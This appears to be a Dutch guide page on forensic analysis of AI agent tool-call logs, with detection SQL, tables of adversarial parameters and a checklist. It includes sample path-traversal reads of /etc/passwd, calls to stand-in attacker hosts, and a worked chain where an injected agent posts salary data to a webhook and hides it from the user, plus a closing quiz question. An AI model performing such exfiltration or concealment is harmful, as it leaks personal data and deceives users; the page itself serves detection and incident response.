Tool call-forensics
Forensisch onderzoek van agent-toolaanroepen: ongeautoriseerd toolgebruik detecteren, bewijs van parametermanipulatie analyseren, exfiltratiesporen identificeren en actieketens van agents reconstrueren.
Tool call-forensics
Wanneer een AI-agent toegang heeft tot tools -- zoekmachines, databases, API's, code-executors, bestandssystemen, e-mailverzenders -- reikt de blast radius van een incident veel verder dan de tekstoutputs van het model. Een gecompromitteerde agent kan gevoelige bestanden lezen, data exfiltreren via HTTP-verzoeken, willekeurige code uitvoeren of acties ondernemen in externe systemen die moeilijk of onmogelijk terug te draaien zijn. Deze pagina behandelt forensisch onderzoek van tool call-logs.
Structuur van tool call-bewijs
Een forensisch bruikbare tool call-logregel legt de volledige context van elke aanroep vast.
{
"call_id": "tc_001",
"parent_request_id": "req_abc123",
"timestamp": "2026-03-15T14:33:12Z",
"tool_name": "database_query",
"parameters": {
"query": "SELECT * FROM customers WHERE region = 'EU'",
"database": "production_crm"
},
"result": {
"rows_returned": 1847,
"columns": ["name", "email", "phone", "address"],
"truncated": true
},
"authorization": {
"user_id": "user_42",
"permissions": ["read:customers"],
"policy_decision": "allow"
},
"execution_time_ms": 234,
"model_reasoning": "User asked for EU customer contact information for the quarterly report."
}Ongeautoriseerd toolgebruik detecteren
Legitieme vs. adversariële toolpatronen
| Indicator | Legitiem gebruik | Adversarieel gebruik |
|---|---|---|
| Toolselectie | Tools relevant voor de aangegeven taak van de gebruiker | Tools die niets met het gespreksonderwerp te maken hebben |
| Parameterreikwijdte | Smalle, specifieke queries | Brede, wildcard- of verkennende queries |
| Datavolume | Proportioneel aan het verzoek van de gebruiker | Disproportioneel grote dataverzameling |
| Toegangspatroon | Consistent met de rol en permissies van de gebruiker | Overschrijdt de normale datatoegangsreikwijdte van de gebruiker |
| Timing | Enkele aanroep of kleine keten per gebruikersverzoek | Snelle sequentiële aanroepen die door resources itereren |
| Resultaatgebruik | Resultaten verwerkt in een behulpzame respons | Resultaten samengevat/gecodeerd voor extractie |
Detectiequery's voor ongeautoriseerd toolgebruik
-- Detect tool calls that don't match user conversation topic
-- Requires topic tagging on conversations
SELECT
tc.call_id,
tc.tool_name,
tc.parameters,
tc.timestamp,
c.topic_classification,
tc.user_id
FROM tool_calls tc
JOIN conversations c ON tc.parent_request_id = c.request_id
WHERE tc.tool_name NOT IN (
SELECT expected_tool
FROM topic_tool_mapping
WHERE topic = c.topic_classification
)
ORDER BY tc.timestamp DESC;
-- Detect unusual tool call volume per session
SELECT
session_id,
user_id,
COUNT(*) AS tool_calls,
COUNT(DISTINCT tool_name) AS distinct_tools,
ARRAY_AGG(DISTINCT tool_name) AS tools_used
FROM tool_calls
WHERE timestamp > NOW() - INTERVAL '24 hours'
GROUP BY session_id, user_id
HAVING COUNT(*) > 20
ORDER BY tool_calls DESC;Bewijs van parametermanipulatie
Aanvallers manipuleren tool call-parameters om de toegang uit te breiden buiten wat het model normaal zou aanvragen. Let op deze patronen:
Manipulatie van databasequery's
| Normaal patroon | Adversarieel patroon | Bewijs |
|---|---|---|
WHERE id = 42 | WHERE 1=1 of WHERE id > 0 | Verbrede queryreikwijdte om alle records terug te geven |
SELECT name, email | SELECT * | Alle kolommen aangevraagd, inclusief gevoelige velden |
LIMIT 10 | Geen LIMIT of LIMIT 100000 | Paginering verwijderd om bulkdata te extraheren |
WHERE department = 'sales' | Departmentfilter verwijderd | Cross-departmentale toegang |
Manipulatie van het bestandssysteem
| Normaal patroon | Adversarieel patroon | Bewijs |
|---|---|---|
read_file("/app/docs/help.md") | read_file("/etc/passwd") | Path traversal buiten applicatiereikwijdte |
list_directory("/app/uploads/user_42/") | list_directory("/") | Directory-enumeratie vanaf root |
Alleen read_file | write_file of execute | Privilege-escalatie via toolwisseling |
Manipulatie van API-aanroepen
| Normaal patroon | Adversarieel patroon | Bewijs |
|---|---|---|
GET /api/user/me | GET /api/users | Eindpuntwijziging om andere gebruikers te benaderen |
| Standaardheaders | Toegevoegde Authorization-headers | Credential-injectie in API-aanroepen |
| Applicatie-interne URL's | Externe URL's (https://attacker.com) | Data-exfiltratie via uitgaande HTTP |
Exfiltratiesporen
Data-exfiltratie via agent-toolaanroepen volgt identificeerbare patronen.
Exfiltratiekanalen
| Kanaal | Hoe het werkt | Detectie |
|---|---|---|
| Directe output | Model neemt geëxtraheerde data op in zijn respons aan de gebruiker | Inhoudsanalyse van modeloutputs |
| Uitgaande HTTP | Agent roept een externe URL aan met geëxtraheerde data in parameters | Monitor op toolaanroepen naar externe URL's |
| E-mail/messaging | Agent verstuurt data via een e-mail- of messagingtool | Audit alle verzend-/deeltoolaanroepen |
| Bestandsschrijfactie | Agent schrijft data naar een voor de gebruiker toegankelijke locatie | Monitor schrijftoolaanroepen en outputpaden |
| Code-uitvoering | Agent voert code uit die netwerkverzoeken doet | Analyseer uitgevoerde code op netwerkoperaties |
| Gecodeerde output | Agent codeert data (Base64, hex) en presenteert deze als normale output | Detecteer gecodeerde inhoud in outputs |
Voorbeeld van een exfiltratieketen
Step 1: User prompt with indirect injection triggers reconnaissance
Tool: search_internal_docs("employee salary data")
Result: Found 3 documents in HR knowledge base
Step 2: Model retrieves sensitive documents
Tool: read_document(doc_id="hr_salary_2026")
Result: Full salary data for 200 employees
Step 3: Model exfiltrates via outbound HTTP
Tool: web_request(
url="https://webhook.site/attacker-id",
method="POST",
body="<encoded salary data>"
)
Result: HTTP 200 OK
Step 4: Model presents innocuous response to user
Assistant: "I found some general information about compensation..."
Identificeer uitgaande dataflows
Doorzoek tool call-logs op alle tools die data naar externe bestemmingen verzenden: HTTP-verzoeken, e-mailverzendingen, bestandsuploads, webhook-aanroepen. Dit zijn de exfiltratierisico's met de hoogste prioriteit.
Traceer dataherkomst
Traceer voor elke uitgaande flow terug door de tool call-keten om te identificeren tot welke data het model toegang had. Volg de
parent_request_id-keten om de volledige reeks te reconstrueren.Kwantificeer data-blootstelling
Bepaal het volume en de gevoeligheid van de data die door het exfiltratiekanaal ging. Bereken het aantal records, de datatypen en de getroffen individuen.
Controleer op obfuscatie
Onderzoek de data die door het exfiltratiekanaal werd verzonden op codering of transformatie. Aanvallers kunnen het model instrueren om data te coderen voordat deze wordt verzonden, om contentfilters te vermijden.
Reconstructie van de agent-actieketen
Het reconstrueren van de complete reeks agentacties onthult het volledige aanvalsnarratief.
Ketenvisualisatie
Bouw een gerichte graaf van toolaanroepen binnen een sessie:
[User Message] → [Model Reasoning] → [Tool Call 1: search]
↓
[Tool Result 1]
↓
[Model Reasoning] → [Tool Call 2: read_file]
↓
[Tool Result 2]
↓
[Model Reasoning] → [Tool Call 3: web_request]
↓
[Tool Result 3]
↓
[Model Response to User]
Kernvragen voor ketenanalyse
| Vraag | Wat het onthult |
|---|---|
| Wat triggerde de eerste toolaanroep? | Of de aanval voortkwam uit gebruikersinvoer of geïnjecteerde context |
| Rechtvaardigde de redenering van het model elke toolaanroep? | Of het model werd gemanipuleerd of binnen normale parameters handelde |
| Werden tooluitkomsten teruggevoerd in latere toolaanroepen? | Hoe informatie zich voortplantte door de actieketen van de agent |
| Overschreed een toolaanroep de autorisatiereikwijdte van de gebruiker? | Of permissiegrenzen werden geschonden |
| Welke data was beschikbaar voor het model toen het zijn uiteindelijke respons genereerde? | De maximaal mogelijke data-blootstelling |
Forensische checklist voor tool calls
Gebruik deze checklist bij het onderzoeken van agent-toolaanroepen tijdens een incident:
| # | Controle | Status |
|---|---|---|
| 1 | Maak een lijst van alle toolaanroepen in het incidenttijdvenster | |
| 2 | Markeer toolaanroepen die niet bij het gespreksonderwerp passen | |
| 3 | Controleer op parametermanipulatie (wildcard-queries, path traversal, reikwijdte-uitbreiding) | |
| 4 | Identificeer alle uitgaande dataflows (HTTP, e-mail, bestandsschrijfactie) | |
| 5 | Traceer dataherkomst voor elke uitgaande flow | |
| 6 | Vergelijk de redenering van het model met de daadwerkelijke toolparameters | |
| 7 | Controleer autorisatiebeslissingen voor elke toolaanroep | |
| 8 | Identificeer de injectiebron die het adversariële toolgebruik triggerde | |
| 9 | Kwantificeer het volume en de gevoeligheid van de data-blootstelling | |
| 10 | Documenteer de complete tool call-keten met tijdstempels |
Gerelateerde onderwerpen
- Agent- & Agentic-exploitatie -- agent-aanvalstechnieken begrijpen
- Prompt-log-forensics -- de prompts analyseren die toolaanroepen triggerden
- Data-exfiltratie-IR-playbook -- reageren op bevestigde exfiltratie
- Bewijsbewaring -- tool call-bewijs bewaren
Referenties
- "Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" - Greshake et al. (2023) - Foundational research on agent exploitation via indirect injection
- "OWASP Top 10 for LLM Applications: LLM07 - Insecure Plugin Design" - OWASP Foundation (2025) - Tool/plugin security risks in AI agents
- "MITRE ATLAS Technique T0054: LLM Plugin Compromise" - MITRE Corporation (2025) - Standardized technique for agent tool abuse
Het tool call-log van een agent toont dat hij zocht naar 'salary data', een HR-document las en vervolgens een HTTP POST deed naar een externe webhook. De redenering van het model voor de HTTP-aanroep zegt 'sending the report summary to the user's webhook.' Wat moet je eerst onderzoeken?